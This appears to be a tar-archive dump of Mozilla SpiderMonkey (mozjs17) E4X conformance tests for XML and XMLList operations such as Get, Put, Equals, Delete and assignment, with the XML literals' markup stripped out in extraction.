copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.11 - XML [[Insert]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/shell.js0000664000175000017500000000000012106270663020405 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Types/9.2.1.5.js0000664000175000017500000000076612106270663020133 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.5 XMLList [[HasProperty]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.6.js0000664000175000017500000000140012106270663020115 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.6 - XML [[HasProperty]]"); x = onetwothree; TEST(1, true, "bravo" in x); TEST(2, true, 0 in x); TEST(3, true, "charlie" in x.bravo); TEST(4, true, 0 in x.bravo); TEST(5, false, 1 in x); TEST(6, false, 1 in x.bravo); TEST(7, false, 2 in x); TEST(8, false, 2 in x.bravo); TEST(9, false, "foobar" in x); TEST(10, false, "foobar" in x.bravo); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.4.js0000664000175000017500000000076412106270663020127 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.4 - XML [[DeleteByIndex]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.9.js0000664000175000017500000000270412106270663020131 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.9 XMLList [[Equals]]"); // Empty list should equal undefined TEST(1, true, (new XMLList() == undefined) && (undefined == new XMLList())); // Compare two lists if all are equal x = one + two; y = one + two; TEST(2, true, (x == y) && (y == x)); y = one + two + three; TEST(3, false, (x == y) || (y == x)); y = one + not; TEST(4, false, (x == y) || (y == x)); // If XMLList has one argument should compare with just the 0th element. x = new XMLList(one); y = one; TEST(5, true, (x == y) && (y == x)); y = "one"; TEST(6, true, (x == y) && (y == x)); // Should return false even if list contains element equal to comparison x = one + two; y = one; TEST(7, false, (x == y) && (y == x)); y = "one"; TEST(8, false, (x == y) || (y == x)); // Try other types - should return false y = null; TEST(9, false, (x == y) || (y == x)); y = new Object(); TEST(10, false, (x == y) || (y == x)); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.12.js0000664000175000017500000000075712106270663020210 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.12 - XML [[Replace]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.7.js0000664000175000017500000000076012106270663020126 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.7 - XML [[DeepCopy]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.1.js0000664000175000017500000001122412106270663020115 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START('9.1.1.1 XML [[Get]]'); var x = one two ; // . TEST(1, onetwo, x.bravo); TEST(2, two, x.bravo.charlie); TEST(3, two, x.bravo.charlie.parent().charlie); // .* var correct = <>onetwo; TEST(4, correct, x.bravo.*); TEST_XML(5, "two", x.bravo.charlie.*); TEST(6, onetwo, x.*[0]); // .@ TEST_XML(7, "value1", x.@attr1); TEST_XML(8, "value2", x.@attr2); // .. TEST(9, onetwo, x..bravo); TEST(10, two, x..charlie); // .@* correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); TEST(11, correct, x.@*); x = one two ; // ..* XML.prettyPrinting = false; correct = <>onetwoonetwotwo; TEST(12, correct, x..*); XML.prettyPrinting = true; x = one two ; // ..@ correct = new XMLList(); correct += new XML("value3"); correct += new XML("value4"); TEST(13, correct, x..@attr3) // ..@* correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); correct += new XML("value3"); correct += new XML("value4"); TEST(14, correct, x..@*); // Check reserved words x = one ; TEST(15, one, x.prototype); // Check method names x = one two ; TEST(16, one, x.name); TEST(17, QName("alpha"), x.name()); TEST(18, two, x.toString); TEST(19, x.toXMLString(), x.toString()); // Test super-expandos x = one ; correct = one two ; x.bravo.charlie.delta = two; TEST(20, correct, x); x = one ; correct = one two ; x.bravo.charlie.delta = "two"; TEST(21, correct, x); x = one ; correct = one two ; x.bravo.charlie.delta = two; TEST(22, correct, x); // Also ADD with *, children() and child() x = one ; correct = one two ; x.*.charlie.delta = two; TEST(23, correct, x); x = one ; correct = one two ; x.children().charlie.delta = two; TEST(24, correct, x); x = one ; correct = one two ; x.child("bravo").charlie.delta = two; TEST(25, correct, x); x = one ; correct = one two ; x.child("newChild").charlie.delta = two; TEST(26, correct, x); // These should fail because the XMLList is size > 1 x = one two ; try { x.*.charlie.delta = "more"; SHOULD_THROW(27); } catch (ex) { TEST(27, "TypeError", ex.name); } x = one two ; try { x.children().charlie.delta = "more"; SHOULD_THROW(28); } catch (ex) { TEST(28, "TypeError", ex.name); } x = one two ; try { x.child("bravo").charlie.delta = "more"; SHOULD_THROW(29); } catch (ex) { TEST(29, "TypeError", ex.name); } END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.2.js0000664000175000017500000000140212106270663020114 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.2 - XMLList [[Put]]"); var x = <> one two ; TEST(1, "one\ntwo", x.toXMLString()); x[0] = three; TEST(2, "three\ntwo", x.toXMLString()); x[0] = four + five; TEST(3, "four\nfive\ntwo", x.toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.6.js0000664000175000017500000000076012106270663020126 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.6 XMLList [[Append]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/browser.js0000664000175000017500000000000012106270663020761 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Types/9.1.1.2.js0000664000175000017500000000212312106270663020114 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START('9.1.1.2 - XML [[Put]]'); // . var x = one two ; var correct = new; x.bravo.charlie = "new" TEST(1, correct, x.bravo.charlie) x.bravo = three TEST(2, "three", x.delta.toString()) // .@ x = onetwo x.@attr1 = "newValue" TEST_XML(3, "newValue", x.@attr1) // From Martin XML.prettyPrinting = false; var god = Kibo; god.name = <>JamesKibo; var expect = 'JamesKibo'; actual = god; TEST_XML(4, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.5.js0000664000175000017500000000102212106270663020114 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // XML Type [[Default Value]] START("9.1.1.5 - XML [[Default Value]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.13.js0000664000175000017500000000100012106270663020167 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.13 - XML Type [[AddInScopeNamespace]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.1.js0000664000175000017500000000453612106270663020126 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.1 XMLList [[Get]]"); var x = <> one two three four ; // . correct = <> one two three four ; TEST(1, correct, x.bravo); correct = <> two four ; TEST(2, correct, x.bravo.charlie); // .@ correct = new XMLList(); correct += new XML("value1"); correct += new XML("value3"); TEST(3, correct, x.@attr1); correct = new XMLList(); correct += new XML("value2"); correct += new XML("value4"); TEST(4, correct, x.bravo.@attr2); // .. correct = <> one two three four ; TEST(5, correct, x..bravo); correct = <> two four ; TEST(6, correct, x..charlie); // .@* correct = new XMLList(); correct += new XML("value1"); correct += new XML("value3"); TEST(7, correct, x.@*); x = one two ; // ..* correct = <>onetwoonetwotwo; XML.prettyPrinting = false; TEST(8, correct, x..*); XML.prettyPrinting = true; x = one two ; // ..@ correct = new XMLList(); correct += new XML("value2"); correct += new XML("value3"); TEST(9, correct, x..@attr2) // ..@* correct = new XMLList(); correct += new XML("value1"); correct += new XML("value2"); correct += new XML("value3"); correct += new XML("value4"); TEST(10, correct, x..@*); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.9.js0000664000175000017500000000601612106270663020130 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.9 - XML [[Equals]]"); x = one; y = one; TEST(1, true, (x == y) && (y == x)); // Should return false if comparison is not XML y = "one"; TEST(2, false, (x == y) || (y == x)); y = undefined TEST(3, false, (x == y) || (y == x)); y = null TEST(4, false, (x == y) || (y == x)); y = new Object(); TEST(5, false, (x == y) || (y == x)); // Check with attributes x = onetwo; y = onetwo; TEST(6, true, (x == y) && (y == x)); y = onetwo; TEST(7, false, (x == y) || (y == x)); // Logical equality // Attribute order. x = onetwo; y = onetwo; TEST(8, true, (x == y) && (y == x)); // Skips empty text nodes if ignoring whitespace // XML.ignoreWhitespace = false; x = one ; y = one; TEST(9, true, (x == y) && (y == x)); // Doesn't trim text nodes. x = one ; y = one; TEST(10, false, (x == y) || (y == x)); // Compare comments XML.ignoreComments = false; x = one; y = one; TEST(11, false, (x == y) || (y == x)); one = x.*[0]; two = y.*[0]; TEST(12, false, (one == two) || (two == one)); one = x.*[0]; two = y.bravo.*[0]; TEST(13, true, (one == two) && (two == one)); // Compare processing instructions XML.ignoreProcessingInstructions = false; x = one; y = one; TEST(14, false, (x == y) || (y == x)); one = x.*[0]; two = y.*[0]; TEST(15, false, (one == two) || (two == one)); one = x.*[0]; two = y.bravo.*[0]; TEST(16, true, (one == two) && (two == one)); // Namepaces x = one; y = one; TEST(17, true, (x == y) && (y == x)); y = one; TEST(18, false, (x == y) || (y == x)); // Default namespace default xml namespace = "http://foo/"; x = one; y = one; TEST(19, true, (x == y) && (y == x)); // bug 358183 x = ; y = ; TEST(20, false,(x == y)); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.4.js0000664000175000017500000000076612106270663020132 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.4 XMLList [[DefaultValue]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.8.js0000664000175000017500000000101712106270663020123 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // XML Type [[Descendants]] START("9.1.1.8 - XML [[Descendants]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.8.js0000664000175000017500000000107712106270663020132 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.8 XMLList [[Descendants]]"); x = <> one two ; correct = <>onetwo; TEST(1, correct, x..bravo); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.10.js0000664000175000017500000000076412106270663020204 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.10 - XML [[ResolveValue]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.10.js0000664000175000017500000000076712106270663020210 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.10 XMLList [[ResolveValue]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.1.1.3.js0000664000175000017500000000460712106270663020126 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.1.1.3 - XML [[Delete]]"); // .@ x = one; delete x.@attr1; TEST_XML(1, "", x.@attr1); TEST(2, one, x); // ..@ x = one two three ; correct = one two three ; delete x..@attr3; TEST(3, correct, x); // ..@* x = one two three ; correct = one two three ; delete x..@*; TEST(4, correct, x); x =



      ; correct = ; delete x..HR; TEST(5, correct, x); x = ECMA-357



      ; correct = ECMA-357 ; delete x..HR; TEST(6, correct.toXMLString(), x.toXMLString()); x = ECMA-357



      ; correct = ECMA-357; delete x.HR; TEST(7, correct, x); x = ECMA-357



      ; correct = ; delete x..*; TEST(8, correct, x); x = ECMA-357



      ; correct = ; delete x.*; TEST(9, correct, x); x =
      ; correct =
      ; delete x.LI; TEST(10, correct, x); x =
      ; correct =
        ; delete x..LI; TEST(11, correct, x); END(); mozjs17.0.0/js/src/tests/e4x/Types/9.2.1.3.js0000664000175000017500000000075712106270663020131 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("9.2.1.3 XMLList [[Delete]]"); var actual = 'Test not implemented'; var expect = 'PASS'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/0000775000175000017500000000000012106270663020170 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Expressions/11.3.1.js0000664000175000017500000001377612106270663021265 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.3.1 - Delete Operator"); order = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; // Delete the customer address correct = John Doe Bellevue WA Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1 ; delete order.customer.address; TEST_XML(1, "", order.customer.address); TEST(2, correct, order); order = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; // delete the custmomer ID correct = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; delete order.customer.@id; TEST_XML(3, "", order.customer.@id); TEST(4, correct, order); order = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; // delete the first item price correct = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; delete order.item.price[0]; TEST_XML(5, "", order.item[0].price); TEST(6, 1299.99, order.item.price[0]); TEST(7, order, correct); order = John Doe
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 1 Big Screen Television 1299.99 1 DVD Player 399.99 1
        ; // delete all the items correct = John Doe
        123 Foobar Ave.
        Bellevue WA
        ; delete order.item; TEST_XML(8, "", order.item); TEST(9, correct, order); default xml namespace = "http://someuri"; x = ; x.a.b = "foo"; delete x.a.b; TEST_XML(10, "", x.a.b); var ns = new Namespace(""); x.a.b = foo; delete x.a.b; TEST(11, "foo", x.a.ns::b.toString()); delete x.a.ns::b; TEST_XML(12, "", x.a.ns::b); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.3.js0000664000175000017500000000104012106270663021242 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.1.3 - Wildcard Identifiers"); x = one two correct = <>onetwo; TEST(1, correct, x.*); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.3.2.js0000664000175000017500000000073312106270663021253 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.3.2 - Typeof Operator"); x = new XML(); TEST(1, "xml", typeof(x)); x = new XMLList(); TEST(2, "xml", typeof(x)); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-03.js0000664000175000017500000000136312106270663021473 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '11.1.4 - XML Initializer should accept single comment'; var BUGNUMBER = 257679; var actual = ''; var expect = 'comment'; printBugNumber(BUGNUMBER); START(summary); XML.ignoreComments = false; print("XML.ignoreComments: " + XML.ignoreComments); var comment = ; if (comment) { actual = comment.nodeKind(); } else { actual = 'undefined'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/regress-301545.js0000664000175000017500000000125112106270663022736 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.1 - Attribute Identifiers Do not crash when " + "attribute-op name collides with local var"; var BUGNUMBER = 301545; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function TOCParser(aElement) { var href = aElement.@href; } TEST(summary, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/shell.js0000664000175000017500000000000012106270663021623 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Expressions/11.2.3.js0000664000175000017500000000120312106270663021244 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.2.3 - XML Descendant Accessor"); e = Joe20 Sue30 names = e..name; correct = Joe + Sue; TEST(1, correct, names); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.2.1.js0000664000175000017500000000672612106270663021261 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.2.1 - Property Accessors"); order = John Doe Big Screen Television 1299.99 1 ; correct = John Doe ; TEST(1, correct, order.customer); TEST_XML(2, 123456, order.@id); correct = Big Screen Television 1299.99 1 TEST(3, correct, order.children()[1]); correct = John Doe + Big Screen Television 1299.99 1 ; TEST(4, correct, order.*); correct = new XMLList(); correct += new XML("123456"); correct += new XML("Mon Mar 10 2003 16:03:25 GMT-0800 (PST)"); TEST(5, correct, order.@*); order = John Doe Big Screen Television 1299.99 1 DVD Player 399.99 1 ; correct = Big Screen Television + DVD Player; TEST(6, correct, order.item.description); correct = new XMLList(); correct += new XML("3456"); correct += new XML("56789"); TEST(7, correct, order.item.@id); correct = DVD Player 399.99 1 TEST(8, correct, order.item[1]); correct = Big Screen Television + 1299.99 + 1 + DVD Player + 399.99 + 1; TEST(9, correct, order.item.*); correct= 1299.99; TEST(10, correct, order.item.*[1]); // The spec requires that we get the first (and only) order [treating single element as a list]. // We ignore this for xml objects that can have children and always return children for numeric // property names. // order = // // John // Doe // // // Big Screen Television // 1299.99 // 1 // // // DVD Player // 399.99 // 1 // // ; // TEST(11, order, order[0]); // Any other index should return undefined, but we return the other child. // TEST(12, undefined, order[1]); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.1.4-07.js0000664000175000017500000000173612106270663021503 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "11.1.4 - XML Initializer - x"; var BUGNUMBER = 321549; var actual = 'No error'; var expect = 'No error'; printBugNumber(BUGNUMBER); START(summary); var b = 'b'; try { actual = (
        x). toString(); } catch(e) { actual = e + ''; } expect = (x).toString(); TEST(1, expect, actual); try { actual = (x). toString(); } catch(e) { actual = e + ''; } expect = (x).toString(); TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Expressions/11.6.1.js0000664000175000017500000002204712106270663021257 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("11.6.1 - XML Assignment"); // Change the value of the id attribute on the second item order = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; correct = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; order.item[1].@id = 1.23; TEST(1, correct, order); // Add a new attribute to the second item order = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; correct = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; order.item[1].@newattr = "new value"; TEST(2, correct, order); // Construct an attribute list containing all the ids in this order order = Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 ; order.@allids = order.item.@id; TEST_XML(3, "1 2 3 4", order.@allids); // Replace first child of the order element with an XML value order = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; order.*[0] = Fred
        123 Foobar Ave.
        Bellevue WA
        ; correct = Fred
        123 Foobar Ave.
        Bellevue WA
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; TEST(4, correct, order); // Replace the second child of the order element with a list of items order = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; correct = John
        948 Ranier Ave.
        Portland OR
        item one item two item three DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; order.item[0] = item one + item two + item three; TEST(5, correct, order); // Replace the third child of the order with a text node order = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; correct = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 A Text Node CD Player 199.99 8-Track Player 69.99
        ; order.item[1] = "A Text Node"; TEST(6, correct, order); // append a new item to the end of the order order = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99
        ; correct = John
        948 Ranier Ave.
        Portland OR
        Big Screen Television 1299.99 DVD Player 399.99 CD Player 199.99 8-Track Player 69.99 new item
